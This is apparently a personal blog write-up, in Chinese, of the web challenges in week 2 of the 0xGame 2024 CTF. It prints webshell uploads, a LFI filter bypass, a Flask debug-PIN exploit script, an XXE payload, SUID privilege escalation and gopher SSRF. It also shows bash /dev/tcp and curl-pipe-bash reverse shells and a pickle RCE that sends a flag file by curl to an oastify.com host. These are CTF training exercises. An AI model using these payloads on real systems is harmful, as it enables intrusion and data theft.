0xGame 2024 Week2 WriteUp

Web:

  • picture
  • hello_include
  • baby_pe
  • baby_xxe
  • hello_shell
  • baby_ssrf
  • baby_pickle

picture

文件上传,但是过滤了.php,并限制仅传入.jpg文件
可以上传.jpg文件,然后抓包修改为.phtml(因为以php解析的后缀不止.php一种,所以.php可以使用.phtml替代)

图片马构造时可以使用copy命令或者WinHex,注意jpg文件不要太大,太大会被过滤
上传图片马,抓包修改后连接蚁剑即可,flag在根目录

hello_include

根据提示:给用户看的php文件,又提到了源文件
不难找到index.phps文件

phps文件就是php的源代码文件,通常用于提供给用户(访问者)直接通过Web浏览器查看php代码的内容。
因为用户无法直接通过Web浏览器“看到”php文件的内容,所以需要用phps文件代替。

访问到源代码


<?php
echo "Hint: The source code contains important information that must not be disclosed.<br>";
$allowed = ['hello.php', 'phpinfo.php'];
if (isset($_POST['f1Ie'])) {
    if (strpos($_POST['f1Ie'], 'php://') !== false) {
        die('不允许php://');
    }
    include $_POST['f1Ie'];
} else {
    include 'hello.php';
}

发现可以利用伪协议进行文件包含
访问phpinfo.php可以发现allow_url_fopen:off,allow_url_include:off,所以就只能用php://filter了,php://inputdata://用不了

因为strpos()大小写敏感,所以可以通过大写绕过对php://的过滤
看看phpinfo.php可以在众多文字中找到flag_0xgame_position /s3cr3t/f14g,便知道了flag的位置

所以可以构建payload(POST传入即可):
f1Ie=pHp://filter/convert.base64-encode/resource=/s3cr3t/f14g
得到flag的base64编码形式,解码可得flag

baby_pe

根据源码,直接访问/flag试试
http://47.76.151.192:60086/fileread?filename=/flag
回显flag要root用户才可以看到,听说flask可以算pin

接下来开始算pin
exp:

import hashlib
from itertools import chain

probably_public_bits = [
    'app'  # username 可通过/etc/passwd获取      这道题里的username是app,root不能算出正确PIN
    'flask.app',  # modname默认值
    'Flask',  # 默认值 getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.9/site-packages/flask/app.py'  # 路径 可报错得到  getattr(mod, '__file__', None)
]

private_bits = [
    '2485723344898',  #mac地址十进制  任意文件读 /sys/class/net/eth0/address然后转为十进制
    '6ee8d0b5126041a1b3ddfefb9ea61b4e'
    # 字符串合并:首先读取文件内容 /etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id   /proc/self/cgroup
    # 有machine-id 那就拼接machine-id + /proc/self/cgroup  否则 /proc/sys/kernel/random/boot_id + /proc/self/cgroup
]

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

得出pin后进入控制台,因为username是app,但是题目说明要进入root才能拿到flag,所以接下来要提权
先调用os库,使用系统命令
import os
接着找到正在系统上运行的所有suid可执行文件:(find / -user root -perm -4000 -print 2>/dev/null)
os.popen('find / -user root -perm -4000 -print 2>/dev/null').read()
再进行SUID提权(find 具有suid权限的filename -exec whoami \;)
os.popen('find /usr/bin/chsh -exec whoami \;').read()
发现返回root,提权成功,最后继续执行系统命令即可
os.popen('find /usr/bin/chsh -exec ls / \;').read()

os.popen('find /usr/bin/chsh -exec ls /root \;').read()

os.popen('find /usr/bin/chsh -exec cat /root/flag \;').read()

baby_xxe

题干如下:

from flask import Flask,request
import base64
from lxml import etree
app = Flask(__name__)

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/parse',methods=['POST'])
def parse():
    xml=request.form.get('xml')
    print(xml)
    if xml is None:
        return "None"
    parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
    root = etree.fromstring(xml, parser)
    name=root.find('name').text
    return name or None

if __name__=="__main__":
    app.run(host='0.0.0.0',port=8000)

普通的有回显XXE
构造基本语句

<?xml version="1.0" ?>
<!DOCTYPE xxe [
    <!ELEMENT name ANY>
    <!ENTITY xxe SYSTEM "file:///flag" >]>
    <root><name>&xxe;</name></root>

整理一下,POST传入xml的值为上述语句即可(url编码)
xml=%3C%3Fxml%20version%3D%221.0%22%20%3F%3E%3C!DOCTYPE%20xxe%20%5B%3C!ELEMENT%20name%20ANY%3E%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fflag%22%20%3E%5D%3E%3Croot%3E%3Cname%3E%26xxe%3B%3C%2Fname%3E%3C%2Froot%3E

hello_shell

题目环境:

<?php
highlight_file(__FILE__);
$cmd = $_REQUEST['cmd'] ?? 'ls';
if (strpos($cmd, ' ') !== false) {
    echo strpos($cmd, ' ');
    die('no space allowed');
}
@exec($cmd); // 没有回显怎么办?

总体思路:可利用exec()函数命令执行,反弹shell,再进行SUID提权

反弹shell

空格被过滤,使用${IFS}绕过

方法一:bash

常规的反弹shell命令bash -i >& /dev/tcp/ip/port 0>&1结合${IFS}

那么可以将上述内容base64编码后构建 bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}',传参给cmd即可(url编码)

VPS执行: nc -lvp port

方法二:curl+bash

先在VPS的web文件夹写入文件index.php,内容:bash -i >& /dev/tcp/ip/port 0>&1
接着执行nc -lvp port
最后将curl${IFS}ip|bash传参给cmd即可(url编码)

SUID提权

反弹shell成功连接后,使用一下任意一个命令可以查看有suid权限的命令

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

利用/var/www/html/wc

LFILE=/flag
./wc --files0-from "$LFILE"

可得Flag

baby_ssrf

题目环境:

from flask import Flask, request
import os
from urllib.parse import urlparse, urlunparse
import subprocess
import socket

app = Flask(__name__)
BlackList=[
    "127.0.0.1"
]

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/cmd',methods=['POST'])
def cmd():
    if request.remote_addr != "127.0.0.1":
        return "Forbidden"
    if request.method == "GET":
        return "Hello World!"
    if request.method == "POST":
        return os.popen(request.form.get("cmd")).read()

@app.route('/visit')
def visit():
    url = request.args.get('url')
    if url is None:
        return "No url provided"
    url = urlparse(url)
    realIpAddress = socket.gethostbyname(url.hostname)
    if url.scheme == "file" or realIpAddress in BlackList:
        return "Hacker!"
    result = subprocess.run(["curl","-L", urlunparse(url)], capture_output=True, text=True)
    # print(result.stderr)
    return result.stdout

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=8000)

使用gopher协议发POST包,127.0.0.1被过滤了,但是在linux系统中0.0.0.00也可以被当作127.0.0.1请求,这里可以利用这一点绕过黑名单

先弄一个/cmd路由的基本请求包(抓包复制下来,留下必要请求头即可)
注意/cmd路由中if request.remote_addr != "127.0.0.1": return "Forbidden",所以Host头的ip要写为127.0.0.1

POST /cmd HTTP/1.1
Host: 127.0.0.1:60087
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Connection: close

cmd=env

这个请求包要在/visit路由中传给url
请求包要url编码2次构成payload,因为其要经过flaskgopher协议两次接码
注意:因为在我们构造POST请求时,是以回车 /r 为换行符的,而在HTTP请求头中,是以 /r/n 为换行符的,所以还要将第一次编码后的 %0A 替换为 %0D%0A

构造gopher协议:gopher://0.0.0.0:8000/_payload
注意:gopher协议后的第一个字符不会被解析,所以使用任意字符占位

GET方法传参即可:?url=gopher://0.0.0.0:8000/_payload

baby_pickle

这种题以前没有接触过,按照官方wp简单学习+复现一下,以后会仔细学习这部分的!

题目环境:


import pickle
from flask import Flask, request
from base64 import b64decode

app = Flask(__name__)
UserPool = {}
BlackList = [b'\x00', b'\x1e', b'system', b'popen', b'os', b'sys', b'posix']

class User:
    username = None
    password = None

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/login', methods=['POST'])
def login():
    data = request.form.get('data')
    if data is not None:
        opcode = b64decode(data)
        for word in BlackList:
            if word in opcode:
                return "Hacker!"
        user = pickle.loads(opcode)
        print(user)
        return "<h1>Hello {}</h1>".format(user.username)
    else:
        username = request.form.get('username')
        password = request.form.get('password')
        if username in UserPool.keys() and password == UserPool[username].password:
            return "<h1>Hello {}</h1>".format(User.username)

@app.route('/register', methods=['POST'])
def register():
    username = request.form.get('username')
    password = request.form.get('password')
    if username in UserPool.keys():
        return "<h1>用户{}已存在</h1>".format(username)
    UserPool[username] = password
    return "<h1>注册成功</h1>"

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=8000)

考察⼿搓 opcode ,正常的序列化难免会有⼀些冗余数据像 \x00 等等,还有⼀些标识位

BlackList = [b'\x00', b'\x1e', b'system', b'popen', b'os', b'sys', b'posix']这⿊名单其实和没过滤⼀样,利⽤ pty 去执⾏命令就可以

获得回显的方法可以选择使用BurpSuite自带的Collabortor外带(反弹shell也可)

exp:

import base64
opcode='''(cbuiltins
eval
S'__import__(\'pty\').spawn([\'bash\',\'-c\',\'echo Y3VybCAtWCBQT1NUIGh0dHA6Ly96eTFrZWZjcHA0djA3em1sbmFqYnZ0aHlscHJnZmczNS5vYXN0aWZ5LmNvbSAtZCAkKGNhdCAvdG1wL2ZsYWcp|base64 -d|bash\'])'
o.'''.encode()
print(base64.b64encode(opcode).decode())

其中echo后的内容为curl -X POST http://zy1kefcpp4v07zmlnajbvthylprgfg35.oastify.com -d $(cat /tmp/flag)的base64编码

一个好用的网站

从官方wp中发现一个好用的网站:gtfobins

GTFOBins 是一个精心整理的 Unix 二进制文件列表,这些文件可以在配置错误的系统中用于绕过本地安全限制。

该项目收集了 Unix 二进制文件的合法功能,这些功能可能被滥用,用来突破受限的 shell、提升或维持高级权限、传输文件、生成绑定或反向 shell,以及执行其他后期利用任务。

需要注意的是,这不是一个漏洞列表,这里列出的程序本身并不存在漏洞。相反,GTFOBins 是一个指南,讲述如何在只有某些二进制文件可用的情况下,最大化利用现有资源。

总结

在week2中学了不少东西,也发现自己存在许多知识遗漏
题做得一般...但是有收获就好 🙂
慢慢沉淀吧

欢迎指正、交流 ~ ~ ~

作者:Jaren
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0协议
转载请注明文章地址及作者哦 ~
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇